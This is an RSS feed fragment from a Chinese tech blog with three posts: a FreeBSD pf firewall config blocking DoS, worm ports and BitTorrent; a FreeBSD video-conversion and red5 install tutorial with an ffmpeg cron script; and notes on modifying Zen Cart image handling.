tcp_services = &#8220;{ 22, 88, 4899, 123 }&#8221; # 定義 port 22, 113 服務<br />
icmp_types = &#8220;echoreq&#8221; # 定義 tcmp 回應狀態 </p>
<p>## down inactive connection quickly<br />
set optimization aggressive </p>
<p># Normalization: reassemble fragments and resolve or reduce traffic ambiguities.<br />
scrub in all </p>
<p>nat on $ext_if from $int_net to any -> ($ext_if)<br />
#nat on $ext_if from $int_net to $ext_net -> ($ext_if) </p>
<p>#web server map<br />
#rdr pass on $ext_if proto tcp from any to $ext_if port {www,3389,4899,7745} -> $web_server </p>
<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-以下防DOS攻击&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#每个IP最大可以有120个非并发的连接（为局域网用户访问本站考虑）<br />
#每个IP最大连接建立的速率小于每秒8个<br />
#单个IP的最大持续连接数 30<br />
#违反以上规则，把这个ip添加到<abusive_hosts>表中<br />
table <abusive_hosts> persist #维持一个持续的表<br />
block in quick from <abusive_hosts> #阻止表中的ip<br />
pass in on $int_if inet proto tcp from any to $int_if flags S/SA keep state \<br />
(source-track rule,max-src-conn 100, max-src-conn-rate 15/3,max-src-states 30,overload <abusive_hosts> flush, src.track 1) </p>
<p>LSassVirusPort = &#8220;{445, 135, 139, 593, 512, 5554, 9996, 9995}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $LSassVirusPort </p>
<p>BitTorrentPort= &#8220;{ 512, 2049, 4662, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, \<br />
6890, 8880, 8881, 8882, 8883, 8884, 8885, 8886, 8887, 8888, 8889, 8890, 6969, 10700, 21881}&#8221;<br />
block quick on $int_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $int_if inet proto tcp from any port $BitTorrentPort to any<br />
block quick on $ext_if inet proto tcp from any to any port $BitTorrentPort<br />
block quick on $ext_if inet proto tcp from any port $BitTorrentPort to any<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
#gameClientPorts = &#8220;{4002, 2000, 3838, 4410, 4210, 4230, 5005, 4290, 10010 }&#8221;<br />
#GameDenyClients =&#8221;{192.168.128.0/24, 192.168.132.0/24}&#8221;<br />
#GameServerIps = &#8220;{204.251.15.167, 61.152.93.145}&#8221;<br />
#block quick on $int_if inet proto tcp from $GameDenyClients to any port $gameClientPorts<br />
#block quick on $ext_if from $GameServerIps to $GameDenyClients<br />
#block quick on $int_if from $GameDenyClients to $GameServerIps </p>
<p>denyserverips = &#8220;{202.108.193.21}&#8221;<br />
block quick on $int_if from any to $denyserverips </p>
<p>#LSassVirusIp =&#8221;{192.168.1.194}&#8221;<br />
#block quick on $int_if from $LSassVirusIp to any</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1058.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>freebsd 播客安装教程(附带mencoder　转换)</title>
		<link>http://www.evanjiang.net.cn/archives/1055.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1055.html#comments</comments>
		<pubDate>Wed, 20 May 2009 06:11:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1055</guid>
		<description><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes
　　这个花费时间比较长
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　
　cd　/usr/ports/multimedia/mplayer
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh
　　cd　/usr/ports/shell/bash
3、convert脚本
    给convert加上执行权限，convert内容为
    修改SiteRoot　为你supesite的目录
引用:

#!/usr/local/bin/bash
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;
    [...]]]></description>
			<content:encoded><![CDATA[<p>操作系统为freebsd6.2,更新你的ports</p>
<p>一、视频转换</p>
<p>1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音<br />
    先安装　ffmpeg　</p>
<p>  　cd　/usr/ports/multimedia/ffmpeg<br />
　　ports　安装ffmpeg-devel　在 </p>
<p>    cd /usr/ports/multimedia/ffmpeg-devel</p>
<p>    make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes<br />
　　这个花费时间比较长<br />
　　make install </p>
<p>　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　<br />
　cd　/usr/ports/multimedia/mplayer<br />
　make　config　要是支持rmvb,rm　的话要选那个realplayer</p>
<p>   make install</p>
<p>2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh<br />
　　cd　/usr/ports/shell/bash<br />
3、convert脚本<br />
    给convert加上执行权限，convert内容为<br />
    修改SiteRoot　为你supesite的目录<br />
引用:<br />
<span id="more-1055"></span><br />
#!/usr/local/bin/bash<br />
        Extension=&#8221;mpg 3gp mov mpeg vod mp4 m4v avi wmv&#8221;<br />
        SiteRoot=&#8221;/usr/local/www/data&#8221;<br />
        for e in $Extension; do<br />
                FullFiles=`find $SiteRoot/video/temp -name &#8220;*.$e&#8221; -exec ls {} \;`<br />
                for FullFile in $FullFiles;do<br />
                if [ -f $FullFile ];then<br />
                        a=`basename $FullFile | awk -F &#8220;.&#8221; &#8216;{print $1}&#8217;`<br />
                        b=`echo  $a | cut -d_ -f 2 | cut -c-6`<br />
                        if [ !-d $SiteRoot/video/$b ]; then<br />
                                mkdir $SiteRoot/video/$b<br />
                                chown -R www:www $SiteRoot/video/$b<br />
                        fi<br />
                                               #ffmpeg 转换<br />
                        ffmpeg -i $FullFile -y -ab 56 -ar 11025 -ac 2 -qscale 9 -t 900 -r 15 -s 320*240 $SiteRoot/video/$b/$a.flv<br />
                                               #mencoder 转换<br />
                                               #mencoder &#8220;$FullFile&#8221; -o &#8220;$SiteRoot/video/$b/$a.flv&#8221; -of lavf  -lavfopts i_certify_that_my_video_stream_does_not_use_<br />
b_frames -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:dia=4:cmp<br />
=6:vb_strategy=1 -vf scale=512:-3 -ofps 12 -srate 22050<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>                        chown www:www $SiteRoot/video/$b/$a.flv<br />
                        ffmpeg -i $SiteRoot/video/$b/$a.flv -y -f image2 -ss 8 -sameq -t 0.001 -s 320*240 $SiteRoot/video/$b/$a.jpg<br />
                        chown www:www $SiteRoot/video/$b/$a.jpg<br />
                        rm $FullFile<br />
                fi<br />
                done<br />
        done<br />
4、设定计划任务<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　编辑/etc/crontab　文件</p>
<p>　在path中加入/usr/local/bin　</p>
<p>　按i，进入插入状态，然后输入计划命令，其中的n表示每n分钟执行一次转换，可根据自身情况修改n值，<br />
　如：10(每10分钟执行一次转换)<br />
　0-59/n * * * * 　/usr/local/bin/convert　<-修改为你convert路径<br />
二、在线录制<br />
1、安装diablo-jdk1.5　<br />
　　ports安装<br />
　　cd /usr/ports/java/diablo-jdk1.5　<br />
　　这个要手动下载diablo-caffe-freebsd6-i386-1.5.0_07-b01.tar.bz2，根据提示操作就行。<br />
2、安装ant<br />
　　ports　安装<br />
　　cd /usr/ports/devel/apache-ant-1.7.0<br />
3、安装red5<br />
　　下载http://dl.fancycode.com/red5/red5-0.6rc2.tar.gz<br />
　　将red5-0.6rc2.tar.gz 放到/tmp 目录下<br />
　　mv  red5-0.6rc2.tar.gz /tmp<br />
　　cd  /usr/local<br />
　  tar  -zxf  /tmp/red5-0.6rc2.tar.gz<br />
    mv  red5-0.6rc2  red5</p>
<p>    请重新编译red5<br />
    cd  /usr/local/red5<br />
    vi  build.properties<br />
    找到java.target_version=1.6修改为java.target_version=1.5，然后进行重新编译<br />
    执行make</p>
<p>    将online.zip 解压到 /usr/local/red5/webapps 下<br />
　　online.zip 下载地址：http://www.supesite.com/tools/online.zip<br />
　　cd  /usr/local/red5/webapps<br />
　　tar  -zxf  /tmp/online.tar.gz<br />
　　开启Red5服务<br />
　　/usr/local/red5/red5.sh &#038;</p>
<p>　　好，现在就可以播客。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1055.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>这段时间分析zencart源代码的思想笔记。</title>
		<link>http://www.evanjiang.net.cn/archives/1024.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1024.html#comments</comments>
		<pubDate>Mon, 11 May 2009 10:35:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1024</guid>
		<description><![CDATA[<p>一\调整图片的上传路径,统一上传到http://192.168.0.10/topearl/</p>
<p>二\调整图片的调用路径,统一调用http://192.168.0.10/topearl/.</p>
<p>三\在调用图片的过程中,调用水印功能.以及md5加密功能.生成有水印以及md5加密的图片,并由前台程序调用显示出来.并将生成的有水印的,并且md5加密过的图片放到各个网站的images目录下面.</p>
<p>大概的思路与流程就这样..要逐步编程为实现.</p>
<p>阅读代码笔记:</p>
<p>1\newimg imgedit等值是提交表单对应的表单值.</p>
<p>2\初步判断,dmz_cache的图片也是这个ih组件来控制来生成.</p>
<p>3\所有图片的操作,都是由这个image handles模块来控制,而那个includes的下面的configure.php都是一个路径变量的设置,以及数据库连接参数的设置.</p>
<p>4\include下面的class 以及Fuction都是一些常用操作功能的设置.包括.图片一部份节能处理操作.</p>
<p>5\图片上传调用的类是includes/class下面的upload.php类文件.

6\阅读数据库,熟悉数据表,特别是数据表名以数据字段,熟悉之,更方便读懂源代码!</p>
<p>7\刚刚发现,俺一直疑惑看源代码里的SQL语句时,总找不到执行操作的表.原来是SQL语句中都加了前缀,例如table_tablename 等.正克确而实际的数据名是tablename.
现在问题就是仍然搞明,他们文件是如何调用与转移的?明白这点,就好写代码?</p>
<p>8\经过测试,现在已经解决图片复制其它目录的问题.而且经过观察,相应的img录,dmz_cache目录也可以看到生成的缓存图片.感觉工作已经完成一大半.只余下最后一步,就是将生成的加水印的图片放到本地网站的images目录下面,方便以后查询调用.并且,要判断,本地有的,就从本地但读取,本地没有的,才从远程的图片目录调用.是事情就这样简单吗? </p>
<p>9\那么俺应该再精读源代码,如果以前是走马观花地阅读,是大概级阅读,那么现在就是代码级阅读.那就先从Fuction,再读class.再读ih2模块.
10\ 阿mark说要改变那些加密过的字符为自已定制的字符,这个比较难实现.因为MD5加密的字符都是随机的.不能让MD5加密的字符完全符合自已的要求.除非取消MD5加密.而将后缀名改为按提交时间或者按产品目录分类来定义吧.
11\ zencart是基于面向对象,也就是OOP来开发的.刚刚发觉这种写法的一样好处,就是代码比较精练,没有冗余代码设置.</p>
<p>12\其实Zencart的源代码也不是太难阅读,只要细心些,时间充裕些.基本上都可以读懂.只要能读懂,就基本知道在哪里改.如何修改.
13\不要对长版面的代码感到烦恼.就当他是一些书本来读就行.不要只着眼于那些短版面的代码.
14\阅读代码,情愿读慢些,都要尽量读懂它.不要因为看不进去,就走马观花看.这样未必浪费时间.
15\zencart的代码还有好处,就是注解详尽而清晰,这样的代码风格更容易方便别人读懂!
16\其实,主要通过几天的接触,对ZENCART的源代码有所熟悉,消除了原来那种陌生感!那么以后阅读与修改,就方便好多.也容易得多.
17\那么现在就要考虑写成一个Fuction,.就是,判断,判断本地有那个图片文件的.就读取本地,没有的,就要调用远程图片服务器?
18\积极开动脑筋,根据需求/要求,去构筑与理清思路,然后根据思路去写伪代码,然后再形成真实的代码.
19\如果之前俺考虑与分析得是后台图片提交的路径的设置.那么现在就要考虑与分析图片获取与调用的代码,看他们的图片调用机制是什么的?
20\图片上传时候可能要加个判断,例如图片重复上传时候,但是这个好像不重要.现在主要要考虑的是图片调用时候.判断图片调用时候什么时候从本地读取,什么时候从图片服务器调用.那么本地的的图片又是从那里来呢.从远程图片服务器来.不是说,先尝试从服务器读取,本地目录没有,才从远程的图片服务器调用.并放到本地images目录&#8230;俺相信图片调用时候,程式应该已经相关判断机制.那么在这个判断机制加强一下.应该可以.
21\动手写代码之前,一定要理清思路,思路不清.很难编码的.
22\FUNCTION的作用就是,输入一两个变量,就能得出某个值或者输出.所以.应这样考虑.将图片的名字输入FUCTION就可以判断出这个图片是在本地已有,还是没有,有的,就直接输出值,没有,就到远程服务器拉取相应的图片.
23\尽快将实现思路圈划出来.不怕代码没写好,就怕思路不清晰,逻辑出错&#8230;</p>
<p>24\先得出一个文件名,然后将这个文件名扔入FUCTION里,无论怎样,从FUCTION出来都是一个文件,例如图片.
25\手阅代码,是学好编程的最好方式,所以,无论如何,都要手阅代码.这是学好编程一个保障.一个保证.
26\BMZ_images_handle.class.php就是加水印的CLASS类。要细读。刚想到的，就是俺新加的判断本地目录有没有产品图片的FUNCTION也要应加在这里。
27\俺现在就是要搞清楚，产品在是那里调用图片的。要搞清楚。
28\再次伸明，ZENCART的代码还是容易看得懂，只要细心看，认真看，基本上都可以看懂，因为都是那些变量，那些语法，那些FUNCTION。还有手册。所以，不需心存畏惧。最重要，多思考，多编写。多测试。思路清晰，逻辑就不会错。逻辑不会错。那么就令代码更不会错。最好就是全部是语法错。所以说，编程思维很重要。思路越清晰。写代码越快。一切都是编程思维来作证！</p>
<p>29\自定义Function调用及输出值应出实例，刚刚意会到的。或者留意到的。
$color = $this->get_background_rgb($bg);//调用get_background_rgb  Function ，然后输入变理$bg ,最后输出$bg 对应的color值。
    if (!$color) {
      $color = $this->get_background_rgb($ihConf['default']['bg']);
      $transparent = (strpos($ihConf['default']['bg'], &#8216;transparent&#8217;) !== false);
    } else {
      $transparent = (strpos($bg, &#8216;transparent&#8217;) [...]]]></description>
			<content:encoded><![CDATA[<p>一\调整图片的上传路径,统一上传到http://192.168.0.10/topearl/</p>
<p>二\调整图片的调用路径,统一调用http://192.168.0.10/topearl/.</p>
<p>三\在调用图片的过程中,调用水印功能.以及md5加密功能.生成有水印以及md5加密的图片,并由前台程序调用显示出来.并将生成的有水印的,并且md5加密过的图片放到各个网站的images目录下面.</p>
<p>大概的思路与流程就这样..要逐步编程为实现.</p>
<p>阅读代码笔记:</p>
<p>1\newimg imgedit等值是提交表单对应的表单值.</p>
<p>2\初步判断,dmz_cache的图片也是这个ih组件来控制来生成.</p>
<p>3\所有图片的操作,都是由这个image handles模块来控制,而那个includes的下面的configure.php都是一个路径变量的设置,以及数据库连接参数的设置.</p>
<p>4\include下面的class 以及Fuction都是一些常用操作功能的设置.包括.图片一部份节能处理操作.</p>
<p>5\图片上传调用的类是includes/class下面的upload.php类文件.<br />
<span id="more-1024"></span><br />
6\阅读数据库,熟悉数据表,特别是数据表名以数据字段,熟悉之,更方便读懂源代码!</p>
<p>7\刚刚发现,俺一直疑惑看源代码里的SQL语句时,总找不到执行操作的表.原来是SQL语句中都加了前缀,例如table_tablename 等.正克确而实际的数据名是tablename.<br />
现在问题就是仍然搞明,他们文件是如何调用与转移的?明白这点,就好写代码?</p>
<p>8\经过测试,现在已经解决图片复制其它目录的问题.而且经过观察,相应的img录,dmz_cache目录也可以看到生成的缓存图片.感觉工作已经完成一大半.只余下最后一步,就是将生成的加水印的图片放到本地网站的images目录下面,方便以后查询调用.并且,要判断,本地有的,就从本地但读取,本地没有的,才从远程的图片目录调用.是事情就这样简单吗? </p>
<p>9\那么俺应该再精读源代码,如果以前是走马观花地阅读,是大概级阅读,那么现在就是代码级阅读.那就先从Fuction,再读class.再读ih2模块.<br />
10\ 阿mark说要改变那些加密过的字符为自已定制的字符,这个比较难实现.因为MD5加密的字符都是随机的.不能让MD5加密的字符完全符合自已的要求.除非取消MD5加密.而将后缀名改为按提交时间或者按产品目录分类来定义吧.<br />
11\ zencart是基于面向对象,也就是OOP来开发的.刚刚发觉这种写法的一样好处,就是代码比较精练,没有冗余代码设置.</p>
<p>12\其实Zencart的源代码也不是太难阅读,只要细心些,时间充裕些.基本上都可以读懂.只要能读懂,就基本知道在哪里改.如何修改.<br />
13\不要对长版面的代码感到烦恼.就当他是一些书本来读就行.不要只着眼于那些短版面的代码.<br />
14\阅读代码,情愿读慢些,都要尽量读懂它.不要因为看不进去,就走马观花看.这样未必浪费时间.<br />
15\zencart的代码还有好处,就是注解详尽而清晰,这样的代码风格更容易方便别人读懂!<br />
16\其实,主要通过几天的接触,对ZENCART的源代码有所熟悉,消除了原来那种陌生感!那么以后阅读与修改,就方便好多.也容易得多.<br />
17\那么现在就要考虑写成一个Fuction,.就是,判断,判断本地有那个图片文件的.就读取本地,没有的,就要调用远程图片服务器?<br />
18\积极开动脑筋,根据需求/要求,去构筑与理清思路,然后根据思路去写伪代码,然后再形成真实的代码.<br />
19\如果之前俺考虑与分析得是后台图片提交的路径的设置.那么现在就要考虑与分析图片获取与调用的代码,看他们的图片调用机制是什么的?<br />
20\图片上传时候可能要加个判断,例如图片重复上传时候,但是这个好像不重要.现在主要要考虑的是图片调用时候.判断图片调用时候什么时候从本地读取,什么时候从图片服务器调用.那么本地的的图片又是从那里来呢.从远程图片服务器来.不是说,先尝试从服务器读取,本地目录没有,才从远程的图片服务器调用.并放到本地images目录&#8230;俺相信图片调用时候,程式应该已经相关判断机制.那么在这个判断机制加强一下.应该可以.<br />
21\动手写代码之前,一定要理清思路,思路不清.很难编码的.<br />
22\FUNCTION的作用就是,输入一两个变量,就能得出某个值或者输出.所以.应这样考虑.将图片的名字输入FUCTION就可以判断出这个图片是在本地已有,还是没有,有的,就直接输出值,没有,就到远程服务器拉取相应的图片.<br />
23\尽快将实现思路圈划出来.不怕代码没写好,就怕思路不清晰,逻辑出错&#8230;</p>
<p>24\先得出一个文件名,然后将这个文件名扔入FUCTION里,无论怎样,从FUCTION出来都是一个文件,例如图片.<br />
25\手阅代码,是学好编程的最好方式,所以,无论如何,都要手阅代码.这是学好编程一个保障.一个保证.<br />
26\BMZ_images_handle.class.php就是加水印的CLASS类。要细读。刚想到的，就是俺新加的判断本地目录有没有产品图片的FUNCTION也要应加在这里。<br />
27\俺现在就是要搞清楚，产品在是那里调用图片的。要搞清楚。<br />
28\再次伸明，ZENCART的代码还是容易看得懂，只要细心看，认真看，基本上都可以看懂，因为都是那些变量，那些语法，那些FUNCTION。还有手册。所以，不需心存畏惧。最重要，多思考，多编写。多测试。思路清晰，逻辑就不会错。逻辑不会错。那么就令代码更不会错。最好就是全部是语法错。所以说，编程思维很重要。思路越清晰。写代码越快。一切都是编程思维来作证！</p>
<p>29\自定义Function调用及输出值应出实例，刚刚意会到的。或者留意到的。<br />
$color = $this->get_background_rgb($bg);//调用get_background_rgb  Function ，然后输入变理$bg ,最后输出$bg 对应的color值。<br />
    if (!$color) {<br />
      $color = $this->get_background_rgb($ihConf['default']['bg']);<br />
      $transparent = (strpos($ihConf['default']['bg'], &#8216;transparent&#8217;) !== false);<br />
    } else {<br />
      $transparent = (strpos($bg, &#8216;transparent&#8217;) !== false);<br />
    }<br />
    $transparent &#038;= preg_match(&#8216;/(\.gif)|(\.png)/i&#8217;, $file_ext); </p>
<p>get_background_rgb 的Function如下：<br />
function get_background_rgb($bg) {<br />
		$bg = trim(ereg_replace(&#8216;transparent&#8217;, &#8221;, $bg));<br />
		list($red, $green, $blue)= split(&#8216;[, :]&#8216;, $bg);<br />
		if (preg_match(&#8216;/[0-9]+/&#8217;, $red.$green.$blue)) {<br />
			$red = min(intval($red), 255);<br />
			$green = min(intval($green), 255);<br />
			$blue = min(intval($blue), 255);<br />
			$color = array(&#8216;r&#8217;=>$red, &#8216;g&#8217;=>$green, &#8216;b&#8217;=>$blue);<br />
			return $color;<br />
		} else {<br />
			return false;<br />
		}<br />
	}</p>
<p>30\这个dmz_image_handle.class.php类真的很重要，许多图形处理的Function都在这里调用与起作用。要认真分析与阅读。<br />
31\不要一看到一大堆代码就发恐。不要看到一大堆代码就想往后退。静下心来，认真些，认真看，边看边思考，边分析。读多，想多，写多，就什么问题就没有。所以，不用怕。不有恐惧的。<br />
32\经过昨天的阅读代码与分析。基本上找回编码的感觉。现在就是要多清晰自已的思路。写多些代码，读多些源代码，多借鉴与模似别人的代码写法。。<br />
33\俺写php代码，俺是越来越有感觉啦。继续努力。不怕写错，就怕不敢写。要勇于写。想到那就写到那，边写，边纠正逻辑错误。<br />
34\现在从远程图片服务器取代码那块代码基本上写完，现在就要编写本地判断有没有图片那块，并且这块判断本地有没有图片这块务必在加水印之前起作用！<br />
35、上面说得没错。如果要实现阿MARK的需求，判断本地有没有目录，以及没有就从图片目录器那里取值一样。这些代码务必在加水印之前完成。<br />
36\现在核心代码基本上写完，也就要看一下如何调用。在哪调用。还有，今天下午六点半之前，完成基本编码与置，整合，方便明天作整合测试。<br />
37\刚才搜索一下，发现调用到$DIR_WS_IMAGES 这个变量，在多处调用。要满足需求，要多处修改，而且不能改错。要一个一个来校正来修改。\</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
38\如果按照昨天阿MARK所说，直接指定图片服务器，就可以，也就比较简单，但是这样要考虑那些缓存图，大中小图的存放问题。<br />
39\本地的images只是充当本地存放图片作用。也就是存放操作者在后台增加的图片的用途，现在，本地IMAGESE取消，也可以说迁移到图片服务器度，那这个IMAGES真的可以取消。不作考虑。因为前台图片显示调用的是BMZ_CMACHE的图片，而对于images下面的large 以及medium目录放在images都可以。<br />
40\昨天查询这个图片调用路径时，发现，如果要新加一个图片链接变量时，要修改的地方很多，并且要小心修改。。。尽快理清这个思路，想清这个问题，这个思路不清。就会一直成为死结。影晌开发进度！<br />
41\问题是做着解决的。而不是想着去解决的。一时想不通，那就按基本思路去做。在做着的时候，边思考边解决。总比一直停在这个问题要好！<br />
42、那个本地IMAGES真的没必要保留。既然决定将图片目录外迁至图片服务器，那就不需考虑本地图片服务器变量。那就按这个思路去做。去处理！<br />
43\初步分析一下，在后台增加新图片时，报错的原因是不能读取远程图片服务器的图片，那么如何才能自由自主地读取远程的图片服务器？难道要将它移到本地图片服务器？<br />
44\刚刚想到，可不可以将上传图像保存到本地某个图像目录，然后，将本地图像目录跟远程的图像目录建立一个镜像。或者，将图片统一上传到远程图像目录，然后在本地建立一个镜像目录？<br />
45、刚刚看到，如果要想列出远程服务器某个目录下的文件，这个好像不可能，除非远程服务器支持目录显示。但这会存在很大的安全风险。。。上月<br />
46\经过跟阿MARK的讨论，那个直接设图片服务器为远程目录不成功。这个思路走不能。跟着想其它方法。<br />
47、阿MARK说数据库已有图片的名称。可以直接调用数据库的图片服务器名称来判断。判断本地有的。就直接调用。判断没有。就从图片服务器目录那里调用。<br />
48.阿MARK的意思就是说改造后台那个UPLOAD功能。在上传时，判断本地有没有那个产品图片，有的话，就直接跑下一步。按平时的流程去跑。如果没有。就调用图片服务器。将相应的图片服务器下的目录调用过来。。。<br />
48、原来俺的思路是对的。只不过后来。俺想偏啦。走不出来啦。。<br />
49\再强调一句。思路要清晰。。需求要清晰。需求与思路都不清晰。很难编出好的程序来。要记住！<br />
50、为增加对这个ZENCART程序的认识。阅读代码不能只限于那几个常接触的代码。尽可能全部阅读！<br />
51\现在存在什么问题？那就是通过调用数据库的图像名来判断本地有没有相应的图像，如果有，就行，没有就调用图片远程图片服务器的图片。<br />
52、那FUCTION基本写完，但现在就不知在哪里调用它，并且以什么条件来激活它。<br />
53\这个SQL语句怎样设计呢？那就看看需求，需求是要从数据库取出相应的图片名字。。。那么那where 判定语句是怎样写呢？<br />
54\阅读源代码的作用就是在读懂别人写的代码的同时，就是要借签与参考别人的编码写法。必要时，要摘抄与引用别人的代码。这就是阅读源代码的作用之一，至于读过源代码来常握编码者的编程思路，这个要慢慢浸淫，一步一步积累。阅读源代码与阅读别人的文章一样，在理解的基础上，借签别人的写法与文字。甚至摘抄。这个在文人眼中不算是抄袭。所以，要明白，阅读源代码的作用与要根本目的，不要，读了大半天的源代码，还不知要干什么，那就难以交待啦。还有。手册，要常备左右，要常翻。手册的作用是理清与纠正俺知识上的盲点与不足。当然，最重要是要多编码，多测试。多看效果，多从排错中，获取经验与知识！<br />
55\刚跟以前的同事交流沟通过。那些简写字符是数据表的别名，也就是表名的简写。后面是数据表的字段名。这些别名的设定是在数据表里设定的。<br />
56\发觉俺对这个ZENCART不是不太熟。还有许多源代码没看到。还有许多设置变量都不清楚。这次跟同事沟通过。才发现到俺的不足。所以，决定，这个下午可能要将前后台的INCLUDE下面的源代码阅读一篇。。还有那些CLASS与FUCNTION，都要看一篇。尽量看懂。不懂，就问LEON。。<br />
57\这个ZENCART/WHOLESALEC程序真是博大精学。非一般开源程序。并不是简简单单就能看懂，要花很多心力。。。。该程序层层调用。环环相扣。。短时间内真的不那么看懂！<br />
58、虽然还有许多源代码没有阅读。但是经过之前的努力，现在阅读源代码已经有很大进步，之前，阅读有点缓慢，现在阅读速度快些。这是好事。这个可以激励自已更好地掌握与精通这个ZENCART源程序！<br />
59\既然数据库已有图片名字，那么将图片名字从数据库中调用出来，然后判断本地有没有这个图片，没有就从远程图片服务器调用，思路就是这样。。<br />
60、为什么俺一直执着于通过这个upload来触发这个FUCNTION呢？自已可以考虑不用这个FUCTION，可以这样考虑：1、不用这个UNLOAD命令，直将将这个FUCNTION放置于前台图片调用那差代码中，另外一个思路就是将这个UPLOAD改造，改造成为触发器，也就是说不用直接指定远程服务器变量，改回原来，然后，新增一个变量，好，就这样办！<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
61\俺享受这种自麻醉，麻木自已，不用让自已那么烦。不用想太多东西！<br />
62、相信自已，相信定能成为编程高手。专心致志，心无旁望。目标一致，就是成为编程高手！<br />
63\$this 只能在class里使用与定义。那么fucntion呢。如何调用呢。从ZENTCART的代码来看！<br />
64\要分清zen_not_null($images)与$zen_not_null[$images]的区别，前者为Fuchtion的值，后者为数组的值，不可以搞混！<br />
65\为什么之前定义的变量在function不起作用呢？全部要直接指定变量。为什么呢？难道。俺还有许多关于class类,Function的理解还不够？？<br />
66\变量只能在Fuction内设置，不能在Fuction外设置？还是这样，如果定义变量，在Fucntion外定义的。要将它定义为全局变量，而不是设置局部变量。如果设成局部变量，那只能在某段过程代码里执行。而且只能执行一次。相反全局变量，就可以在全局调用，并且，多次调用？<br />
67、经过测试。基本上可以断定俺的推测是对的。如果是局部变量，就不能在FUNCTION调用。要再定义。或者将一些常用变量设成一个全局变量，然后调用这个全局变量。就好像现在ZENCART或许多开源程序一样。会将一些常用的变量，统一写到一个存有全局变量的PHP文件。然后在FUCNTION调用这个全局变量！<br />
68、这个1值从何而来？？这个1值应该是代表真true的那个1值，如果为0，就是假false的值。<br />
69\俺需要的遍历这个图像目录下面所有图片名，然后判断出这个目录有没有俺要的图片。有就好，没有就连接远程图片服力器来获取！<br />
70、借签与参考微软那个桌面搜索的代码。看它是如何找到match出要查找的文件名的！<br />
71\刚想到的。阅读源代码，分析开源软件的代码的好处，就是，如果要查看某个fuction的具体应用，那就可以用DW打开这个开源软件，并且DW查找相关的Fucntion应用，看看实际应用，必要时，拿来用！<br />
72\以后要吸取教训，在php编写sql语句时，为避免出错，先将sql语句放到phpmyadmin 先实地跑一跑，看有没有语法错误先。再写入php代码。。。这也是一种习惯。<br />
73\为什么function单独执行就可以，放入fuction组就不行。那是。因为$image值没有指定，也可以说是远程服务器没有要下载的图片文件名。所以报错。。<br />
